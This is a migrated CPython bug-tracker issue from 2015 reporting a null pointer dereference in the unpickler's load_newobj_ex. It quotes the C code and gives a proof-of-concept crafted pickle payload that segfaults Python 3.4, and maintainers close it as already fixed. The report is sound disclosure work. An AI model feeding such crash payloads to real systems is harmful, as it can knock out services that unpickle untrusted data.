Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

null pointer dereference in load_newobj_ex #68818

Closed
bradlarsen mannequin opened this issue Jul 14, 2015 · 7 comments
Closed

null pointer dereference in load_newobj_ex #68818

bradlarsen mannequin opened this issue Jul 14, 2015 · 7 comments
Labels
extension-modules C modules in the Modules dir type-crash A hard crash of the interpreter, possibly with a core dump

Comments

@bradlarsen
Copy link
Mannequin

bradlarsen mannequin commented Jul 14, 2015

BPO 24630
Nosy @pitrou, @avassalotti, @benjaminp, @serhiy-storchaka, @bradlarsen
Files
  • bug.py: Proof of concept for the null pointer dereference
  • bug-nonnull.py: POC where ob_type of cls isn't NULL
  • Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.

    Show more details

    GitHub fields:

    assignee = None
    closed_at = <Date 2015-07-16.17:44:57.128>
    created_at = <Date 2015-07-14.02:16:18.530>
    labels = ['extension-modules', 'type-crash']
    title = 'null pointer dereference in `load_newobj_ex`'
    updated_at = <Date 2015-07-16.17:44:57.127>
    user = 'https://github.com/bradlarsen'

    bugs.python.org fields:

    activity = <Date 2015-07-16.17:44:57.127>
    actor = 'serhiy.storchaka'
    assignee = 'none'
    closed = True
    closed_date = <Date 2015-07-16.17:44:57.128>
    closer = 'serhiy.storchaka'
    components = ['Extension Modules']
    creation = <Date 2015-07-14.02:16:18.530>
    creator = 'blarsen'
    dependencies = []
    files = ['39921', '39922']
    hgrepos = []
    issue_num = 24630
    keywords = []
    message_count = 7.0
    messages = ['246710', '246711', '246712', '246714', '246734', '246737', '246809']
    nosy_count = 5.0
    nosy_names = ['pitrou', 'alexandre.vassalotti', 'benjamin.peterson', 'serhiy.storchaka', 'blarsen']
    pr_nums = []
    priority = 'normal'
    resolution = 'out of date'
    stage = 'resolved'
    status = 'closed'
    superseder = None
    type = 'crash'
    url = 'https://bugs.python.org/issue24630'
    versions = ['Python 3.4']

    @bradlarsen
    Copy link
    Mannequin Author

    bradlarsen mannequin commented Jul 14, 2015

    load_newobj_ex in can crash with a null pointer dereference.

    File Modules/_pickle.c:

        static int
        load_newobj_ex(UnpicklerObject *self)
        {
            PyObject *cls, *args, *kwargs;
            PyObject *obj;
            PickleState *st = _Pickle_GetGlobalState();
        // ...
    
            PDATA_POP(self->stack, cls);                              // *** 1 ***
            if (cls == NULL) {
                Py_DECREF(kwargs);
                Py_DECREF(args);
                return -1;
            }    
        
            if (!PyType_Check(cls)) {                                 // *** 2 ***
                Py_DECREF(kwargs);
                Py_DECREF(args);
                Py_DECREF(cls);
                PyErr_Format(st->UnpicklingError,
                             "NEWOBJ_EX class argument must be a type, not %.200s",
                             Py_TYPE(cls)->tp_name);                  // *** 3 ***
                return -1;
            }
        // ...
    }
    
    1. cls is successfully unpickled, but has an ob_type field set to 0
    2. cls is determined not to be a PyType object
    3. Py_TYPE(cls) gives a null pointer that is dereferenced via ->tp_name

    Environment:

        $ python3.4 --version
        Python 3.4.2
    
        $ uname -a
        Linux debian-8-amd64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux

    POC:

        from io import BytesIO
        from pickle import load
        
        payload = b']\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x8fGGbG\x10GGGGGGG?GGGGGGG:gGGGGB(GRGGGGUGGGGGGhZGGGJGGGGGGGGGTGGGGGCGGGGGGGGgGG7GB(GRGGGGvGGGGG\xff\xff\x00\x00GGJGGGGGGGGGTGCCCCCCCCCCCCCCCCCCCCCCCC<GGGGGGZCCCCCCGGGGCGGGG\x00GGG\xff\xffdGG hGGGGGGG\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85CCCCCCCCCCCCCCCCCCCCCC\x85\x91\x85\x85\x85\x85CCCC\xccCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<GGGG\x92\x92\x92\x92\x04\x00\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92CCCCCCCCCCCC<GGGGGGCCC\x03\xe8CCCCCeCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC_CTCCCCCCCCCCCCCCCCCCCCCCCCRCCCCCCCCCCCCCCCCCCCGCCCCCC<GGGGGGCCCCCCCCCCCC\x80\x00CCCCCCCCC\x00\x80\x00\x00$CCCCCCCCCC,CCCC"CCCCCCCCCCCCCCCCCCCCCCCCGGGGGGGGCCCCCCCC\x00\x80\x00\x00$CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC hGGGCCCCCCCQCGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCPCACCCCCCCCCCCCCCCCCCCCCCCcCCKCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC hGGGGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<GGGGGGCCCCCC\xa7\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85CCC$CCCCCCCCCCCCCCCCCCCCCCCC_CCCCCCCCCCCCCCCCCCCCCCCCCCC@CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<GGGGGGZCCCCCCCCCCCCKCCCCCCGGGGGGGGG?GGGGGGGGgGGGGG\xeb\xeb\xebCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCQCGCCCcCCCCCCCCCC@CCCCCCCCCCCCCCC@CCCCCCCCCCCCCCCCC\x10\x00\x7fCCCCCGCC\x10\x00\x00\x00CCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCC_CCCCCCCCCCCCCCCCCCCCCCCCCCCCCACCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCFCCCCCCCCCCCCCCCCCCCCCCCC\x00\x00\x00\x80CCCCCC\x85\x85\x85\x85\x85\x91\x85\x85b\x85\x85\x85\x85\x85\x85G\x00GhGGGGGGGGGGGG?GGFGGGGGgGGGGG\xeb\xeb\xeb\xeb\xeb\xeb\xeb\xeb'
        load(BytesIO(payload))

    @bradlarsen bradlarsen mannequin added extension-modules C modules in the Modules dir type-crash A hard crash of the interpreter, possibly with a core dump labels Jul 14, 2015
    @bradlarsen
    Copy link
    Mannequin Author

    bradlarsen mannequin commented Jul 14, 2015

    Seems to be similar to bpo-24552, but not the same problem.

    @bradlarsen
    Copy link
    Mannequin Author

    bradlarsen mannequin commented Jul 14, 2015

    Also, it appears that the ob_type field of cls need not be NULL; it can be an arbitrary value treated as a memory location.

    Attached another POC that triggers this case.

    @serhiy-storchaka
    Copy link
    Member

    Can't reproduce the crash with current sources. In both examples the result is an exception:

    _pickle.UnpicklingError: NEWOBJ_EX class argument must be a type, not float

    How an ob_type field of cls can be set to 0?

    @bradlarsen
    Copy link
    Mannequin Author

    bradlarsen mannequin commented Jul 14, 2015

    Both test cases cause segfaults for me:
    (1) on 64-bit Python 3.4.3 built from source on Mac OS X
    (2) on the system 64-bit Python 3.4.3 from Debian "Jessie"

    I do not see the segfaults with a 64-bit build of the latest sources (cpython default branch at 231bf0840f8f). Instead, I see an unhandled _pickle.UnpicklingError.

    @serhiy-storchaka
    Copy link
    Member

    Likely this crash was fixed by bpo-24552 patch.

    @bradlarsen
    Copy link
    Mannequin Author

    bradlarsen mannequin commented Jul 16, 2015

    Yeah, this appears to be fixed along with bpo-24552.

    @ezio-melotti ezio-melotti transferred this issue from another repository Apr 10, 2022
    Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
    Labels
    extension-modules C modules in the Modules dir type-crash A hard crash of the interpreter, possibly with a core dump
    Projects
    None yet
    Development

    No branches or pull requests

    1 participant